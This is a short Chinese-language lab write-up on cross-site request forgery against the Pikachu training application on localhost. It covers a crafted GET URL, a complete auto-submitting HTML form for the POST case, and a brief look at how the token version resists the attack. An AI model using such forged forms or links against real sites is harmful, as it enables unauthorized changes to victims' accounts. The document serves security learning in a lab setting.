1、get类型
首先,看提示获取账号密码
如图,当修改信息时
出现了一个地址,这就是网址,我们只需把这个发给用户,即可完成localhost /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=1234567&add=jiangxi&email=123%40qq.com&submit=submit
改为:http://localhost /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=1234567&add=jiangxi&email=123%40qq.com&submit=submit HTTP/1.1
此处修改为了jaingxi
2、post类型
请求的修改在信息当中,不在url,因此不能通过url修改
在这里,则需要在自己的服务器上搭建脚本
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="123456789" />
<input id="add" type="text" name="add" value="hubei" />
<input id="email" type="text" name="email" value="lucy@163.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
然后http://127.0.0.1/Pikachu/vul/csrf/csrfpost/post123.html发送,即可修改
3.token类型
具有token,此举安全性提高
然后,可以看看源码
set_token()函数如上图所示,在生成新token之前会先销毁老token,避免token重复使用